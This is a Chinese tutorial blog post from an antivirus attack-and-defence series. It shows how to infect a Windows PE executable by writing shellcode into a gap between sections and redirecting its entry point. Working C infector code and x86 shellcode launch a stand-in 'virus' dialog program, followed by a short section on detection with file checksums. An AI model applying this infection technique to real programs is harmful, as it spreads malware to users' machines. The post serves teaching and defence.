反病毒攻防研究第004篇:利用缝隙实现代码的植入

一、前言

现在很多网站都提供各式各样软件的下载,这就为黑客提供了植入病毒木马的良机。黑客可以将自己的恶意程序植入到正常的程序中,之后发布到网站上,这样当用户下载并运行了植入病毒的程序后,计算机就会中毒,而且病毒可能会接着感染计算机中的其他程序,甚至通过网络或者U盘,使得传播面积不断扩大。而本篇文章就来剖析病毒感染的实现原理,首先需要搜索正常程序中的缝隙用于“病毒”(用对话框模拟)的植入,之后感染目标程序以实现“病毒”的启动。当然,讨论完这些,我依旧会分析如何应对这种攻击方法,这才是本篇文章讨论的重点。

二、搜索程序中存在的缝隙。

病毒木马如果想对一个正常的程序写入代码,那么首先就必须要知道目标程序中是否有足够大的空间来让它把代码植入。一般来说,有两种方法,第一种就是增加一个节区,这样就有足够的空间来让病毒植入了,但是这样一来,不利于病毒的隐藏,如同告诉反病毒工程师“我就是病毒”一样,即便如此,我依旧会在后面的文章中讨论这种方法。第二种方法就是查找程序中存在的缝隙,然后再植入代码。因为在PE文件中,为了对齐,节与节之间必然存在未被使用的空间,这就是程序中存在的缝隙。只要恶意代码的长度不大于缝隙的长度,那么就可以将代码写入这个空间。这里讨论的就是这种方法的实现。

为了讨论的简单起见,我这里依旧使用在上一篇文章中所编写的ShellCode。和上一篇文章中所讨论的方法不同的是,上次是将ShellCode写入了密码文件,密码验证程序读取密码文件后,产生溢出,执行了ShellCode,然后再执行“病毒”程序。而这次是省去了中间环节,直接将ShellCode写入正常的程序中,运行程序就直接运行了“病毒”,这样就更加隐蔽,更容易被触发。提取出之前的ShellCode,并进行一定的修改,定义如下:

char shellcode[] =
        "\x33\xdb"                       //xor  ebx,ebx
        "\x53"                           //push ebx
        "\x68\x2e\x65\x78\x65"           //push 0x6578652e
        "\x68\x48\x61\x63\x6b"           //push 0x6b636148
        "\x8b\xc4"                       //mov  eax,esp 
        "\x53"                           //push ebx
        "\x50"                           //push eax
        "\xb8\x31\x32\x86\x7c"           //mov  eax,0x7c863231
        "\xff\xd0"                       //call eax 
        "\xb8\x90\x90\x90\x90"           //mov  eax,OEP
        "\xff\xe0\x90";                  //jmp  eax

这里需要说明的是,由于我们接下来要将程序的入口点修改为ShellCode的入口点,在ShellCode执行完后,又需要跳回原程序的入口点,因此在原始ShellCode的后面添加上了mov和jmp eax的指令。mov后面留有四个字节的空间,用于原始程序OEP的写入,下一步就是跳到原始程序去执行。由于原始ShellCode中包含有退出代码,所以也需要将调用ExitProcess的ShellCode代码去掉。

搜索程序中缝隙的代码如下:

DWORD SearchSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader)
{
        PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

        DWORD dwAddr = pSec->PointerToRawData+pSec->SizeOfRawData - sizeof(shellcode);
        dwAddr=(DWORD)(BYTE *)lpBase + dwAddr;

        //在内存中分配shellcode大小的空间,并以0进行填充
        LPVOID lp = malloc(sizeof(shellcode));
        memset(lp,0,sizeof(shellcode));

        while(dwAddr > pSec->Misc.VirtualSize)
        {
                //查找长度与shellcode相同,且内容为00的空间
                int nRet = memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));
                //如果存在这样的空间,那么memcmp的值为0,返回dwAddr
                if(nRet == 0)
                {
                        return dwAddr;
                }
                //自减,不断反向查找
                dwAddr--;
        }

        free(lp);
        return 0;
}

上述代码是在代码的节区与紧挨着代码节区之后的节区的中间的位置进行搜索,从代码节区的末尾开始反向搜索。

三、将ShellCode植入目标程序

这里我们需要编写一个main函数来调用上面的函数,代码如下:

#include <windows.h>
#define FILENAME "helloworld.exe"    //欲“感染”的文件名

int main()
{
        HANDLE hFile = NULL;
        HANDLE hMap = NULL;
        LPVOID lpBase = NULL;

        hFile = CreateFile(FILENAME,
                           GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ,
                           NULL,
                           OPEN_EXISTING,
                           FILE_ATTRIBUTE_NORMAL,
                           NULL);
        hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
        lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);

        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
        PIMAGE_NT_HEADERS pNtHeader = NULL;

        //PE文件验证,判断e_magic是否为MZ
        if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return 0;
        }
        //根据e_lfanew来找到Signature标志位
        pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
        //PE文件验证,判断Signature是否为MZ
        if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return 0;
        }

        //搜索PE文件中的缝隙
        DWORD dwAddr = SearchSpace(lpBase,pNtHeader);

        //寻找原程序入口地址,并拷贝到ShellCode中的相应位置(25至28字节处)
        DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
        *(DWORD *)&shellcode[25] = dwOep;

        //将ShellCode拷贝到上面所找到的缝隙
        memcpy((char *)dwAddr,shellcode,strlen(shellcode)+3);

        dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;

        //将ShellCode的入口地址拷贝给原程序
        pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;

        UnmapViewOfFile(lpBase);
        CloseHandle(hMap);
        CloseHandle(hFile);

        return 0;
}

由于我需要把ShellCode植入可执行文件,只有可执行文件才能启动ShellCode,因此有必要提前对目标文件进行格式检测。而检测的方法,一般就是检测MZ与PE标志位是否存在。这里有一件事需要说明,就是在将ShellCode拷贝到缝隙中的那条语句中,使用了memcpy函数,它的第三个参数是strlen(shellcode)+3,这里之所以加上3,是因为strlen这个函数当遇到字符串中出现的\x00时,就会认为字符串已经结束,那么它的字符长度的计数就会停在\x00处。而一个程序的OEP往往是0x004XXXXX,小端显示,它的存储方式就是XXXXX400,在我的ShellCode中,由于00后面还剩下三个字节(\xff\xe0\x90),但是被00所截断了,导致这最后的三个字节不被strlen认可,因此需要再加上3。

四、程序的“感染”

为了测试我们的“感染”程序,在此我再编写一个HelloWorld程序,代码如下:

#include <stdio.h>
int main()
{
        printf(“Hello world!\n”);
        getchar();
        return 0;
}

将上述代码编译链接后生成的helloworld.exe程序放到和“感染”程序同一目录下,执行“感染”程序,然后用十六进制编辑软件打开helloworld.exe,可以发现我们的代码已经植入,如下如所示:

图1 用Hex Editor查看植入代码

再用OllyDbg查看植入代码:

图2 用OllyDbg查看植入代码

使用OD载入程序,就直接来到了我们所植入的ShellCode的地址,可见程序的原始OEP已经被修改了。而在ShellCode的最后,又会跳到程序的原始入口点,继续执行原始程序。利用PEiD也能明显地看到“感染”前后的不同:

图3 被“感染”前

图4 被“感染”后

此时我们就可以确定,helloworld.exe已经被“感染”了,为了验证“被感染”程序是否能够启动我们的对话框程序,需要将Hack.exe(注意这里改了名字)放到与helloworld.exe的同一目录下,然后执行helloworld.exe,如下图所示:

图5 运行“被感染”的程序

可见,用于模拟病毒的提示对话框以及helloworld.exe自身的程序都得到了运行,这也说明了“感染”是成功的。

这里是直接将程序的入口点修改为我们的ShellCode的入口地址,其实这是不利于“病毒”的隐藏的,为了起到迷惑的作用,可以将ShellCode程序植入到helloworld的代码中,甚至将ShellCode拆分为几个部分再植入,这样就很难被发现了,这里就不再详细讨论。

五、防范方法的讨论

由于恶意程序的这种“感染”方法是在程序的缝隙将自身代码植入,因此它是不会对原始程序的大小产生任何改变的,当然也是由于我所举的这个例子比较简单,ShellCode也比较短的缘故。这或多或少也实现了病毒的隐藏,不过防范的方法还是有的。一般来说,软件公司都会对自己的软件产品进行校验,比如运用MD5、Sha-1或者CRC32等。校验的结果是唯一的,也就是说,即便原始程序改动很小(如这次仅仅修改了32个字节的内容),那么校验的结果也会很不相同。很多安全类软件都能够提供校验的功能,而校验也总被运用在手工查杀病毒中,因为黑客往往会对系统中的svchost.exe或者一些DLL文件做手脚,而这样的一些重要文件,官方都会给出真正的校验值,那么对比一下就能够很容易发现这些文件是否被篡改过了。回到上面的helloworld.exe,在“感染”前后,用火眼进行校验检测:

图6 “感染”前

图7 “感染”后

这里的建议是多采用几种校验方式进行校验,因为像MD5这种校验方式有可能会被做手脚,使得“感染”前后的结果可能是一样的,而目前的技术还无法使在修改了原始文件的前提下,所有校验方式的校验结果不变。所以善于利用校验的方式,可以使自己的计算机免受很多的威胁。

针对于这种攻击方式,我这次并不打算写出专杀工具,毕竟依靠之前的专杀工具就足够了。而对于文件被“感染”,去除感染是一件比较麻烦的事情,在这里先不进行讨论。以后的文章中可能会专门论述这个问题。

六、小结

这次简单讨论了一下利用PE结构中的缝隙实现ShellCode的植入。在我看来,PE知识是许多高级技术的基础,是必须要掌握的。以后的文章,会从更多的角度来讲解利用PE格式实现“病毒”的攻击与防范。再次强调的是,我在这里讨论的目的是为了让大家了解更多的计算机安全的知识,而不应将这些运用于歪门邪道。我所讲的这些方法,是无法通过杀软的检验的,即便是这次被感染的程序,“火眼”依旧将其列为重点怀疑对象。所以不应为了一时之快,而做出让自己后悔的举动。

时间: 2024-10-17 00:09:42

反病毒攻防研究第004篇:利用缝隙实现代码的植入的相关文章

反病毒攻防研究第015篇:病毒感染标志的添加

一.前言 对于感染型病毒而言,如果对同一个目标文件多次进行感染,有可能导致目标文件损坏,使得无法执行.所以病毒程序往往会在第一次感染时对目标文件写进一个感染标志,这样在第二次遇到该文件时,首先判断一下该文件中是否包含有感染标志,如果有,则不再感染,如果没有感染标志则进行感染(关于文件的感染,可参见<反病毒攻防研究第004篇:利用缝隙实现代码的植入>和<反病毒攻防研究第005篇:添加节区实现代码的植入>).所谓的感染标志其实就是在PE文件中无关紧要的位置写入的一个字符串,所以感染标志

反病毒攻防研究第012篇:利用Inline HOOK实现主动防御

一.前言 之前文章中所讨论的恶意程序的应对方法,都是十分被动的,即只有当恶意程序被执行后,才考虑补救措施.这样,我们就会一直处于后手状态,而如果说病毒的危害性极大,那么即便我们完美地修复了诸如注册表项,服务项等敏感位置,并且删除了病毒本身,但是它依旧可能已经破坏了系统中非常重要的文件,造成了不可逆的损伤.因此这篇文章就来简单讨论一下利用Inline HOOK技术实现主动防御,在病毒执行前,就主动将危险函数劫持,如同一道防火墙,保护我们计算机的安全. 二.Inline HOOK原理 我们平时所使用

反病毒攻防研究第005篇:添加节区实现代码的植入

一.前言 上一篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题,就是我们想要植入的代码的长度不能够比缝隙大,否则需要把自身的代码截成几个部分,再分别插入不同的缝隙中.而这次所讨论的方法是增加一个节区,这个节区完全可以达到私人订制的效果,其大小完全由我们自己来决定,这样的话,即便是代码较长,也不用担心.而这种方式最大的缺陷就是不利于恶意代码自身的隐藏,因此在现实中可能并不常用.其实,我在这里讨论节区的添加,是为了以后更加深入的讨论打下基础,因为在加壳以及免杀技术中,经常会对PE文件添加节区.这

反病毒攻防研究第009篇:DLL注入(上)——DLL文件的编写

一.前言 我之前所编写的用于模拟计算机病毒的对话框程序都是exe文件,所以运行时必将会产生一个进程,产生进程就非常容易被发现.而为了不被发现,可以选择将对话框程序创建为DLL文件.这种文件会加载到已有进程的地址空间中,这样就不会再次创建出进程,隐蔽性相对较好,DLL注入也是恶意程序总会使用的手段.这次我带算用几篇文章的篇幅来论述DLL注入的问题,而这篇文章就首先来讨论一下如何把我之前的对话框程序改写为DLL文件. 二.编写对话框DLL程序 这里我依旧使用VC++6.0,创建一个简单的Win32

反病毒攻防研究第010篇:DLL注入(中)——DLL注入与卸载器的编写

一.前言 我在上一篇文章中所讨论的DLL利用方法,对于DLL文件本身来说是十分被动的,它需要等待程序的调用才可以发挥作用.而这次我打算主动出击,编写DLL注入与卸载器,这样就可以主动地对进程进行注入的操作了,从而更好地模拟现实中恶意代码的行为. 二.DLL注入的原理 如果想让DLL文件强制注入某个进程,那么就需要通过创建远程线程来实现.这里需要注意的是,所谓的"远程线程",并不是跨计算机的,而是跨进程的.举例来说,进程A在进程B中创建一个线程,这就叫做远程线程.从根本上说,DLL注入技

反病毒攻防研究第011篇:DLL注入(下)——无DLL的注入

一.前言 一般来说,想要将自己编写的程序注入到其它进程中,是必须要使用DLL文件的,这种方法已经在上一篇文章中讨论过了.但是事实上,可以不依赖于DLL文件来实现注入的.只不过这种方法不具有通用性,没有DLL注入那样灵活,因为它需要把代码写入"注入程序"中,一旦想要注入的内容发生了变化,就需要重写整个"注入程序".而不像DLL注入那样,只要修改DLL程序即可.即便如此,无DLL进行注入的方式,也是一种值得讨论的方法. 二.无DLL注入的基本原理 在注入与卸载方面,无论

反病毒攻防研究第007篇:简单木马分析与防范part1

一.前言 病毒与木马技术发展到今天,由于二者总是相辅相成,你中有我,我中有你,所以它们之间的界限往往已经不再那么明显,相互之间往往都会采用对方的一些技术以达到自己的目的,所以现在很多时候也就将二者直接统称为"恶意代码".这次我打算用两篇文章的篇幅来讨论病毒与简单的木马相互结合的分析与防范方法.本篇也就是第一篇,讨论的是利用只有服务器端的木马程序实现"病毒"的启动.而在下一篇中,我会讨论既有服务器端又有客户端的木马程序与"病毒"相结合的分析与防范.

反病毒攻防研究第008篇:简单木马分析与防范part2

一.前言 一般来说,木马是既有客户端也有服务器端的.上次讨论的不过是一种特殊情况,毕竟不是人人都懂得DOS命令,因此现在木马的客户端也都是做成非常直观的界面形式,方便操作.本篇文章会从客户端与服务器端两个方面进行讨论,与上次的讨论不同的是,这次我会直接把用来模拟病毒的对话框程序放入服务器端,这样只要成功连接,那么就可以通过由客户端所发出的命令来让服务器端直接执行对话框程序.用这种思想,可以给服务器端增加很多功能,但是在这里仅仅讨论对话框的打开. 二.服务器端的实现 这里所讨论的木马依旧是命令行下

网络攻防研究第001篇:尝试暴力破解某高校研究生管理系统学生密码

前言 如果你是在校大学生,而且还对网络攻防比较感兴趣的话,相信你最开始尝试渗透的莫过于所在院校的学生管理系统.因为一般来说这样的系统往往比较薄弱,拿来练手那是再合适不过的了.作为本系列的第一篇文章,我将会利用暴力破解的方式,尝试对某高校的研究生管理系统的学生密码进行破解.由于这个管理系统的网站属于该高校的内网资源,外网是无法访问的,因此大家就不要尝试按照文中的内容来对文中出现的网址进行访问了.利用本文所论述的暴力破解思想,可以帮助大家更好地认识我们的网络,也有助于了解目标网站是否安全.那么在这里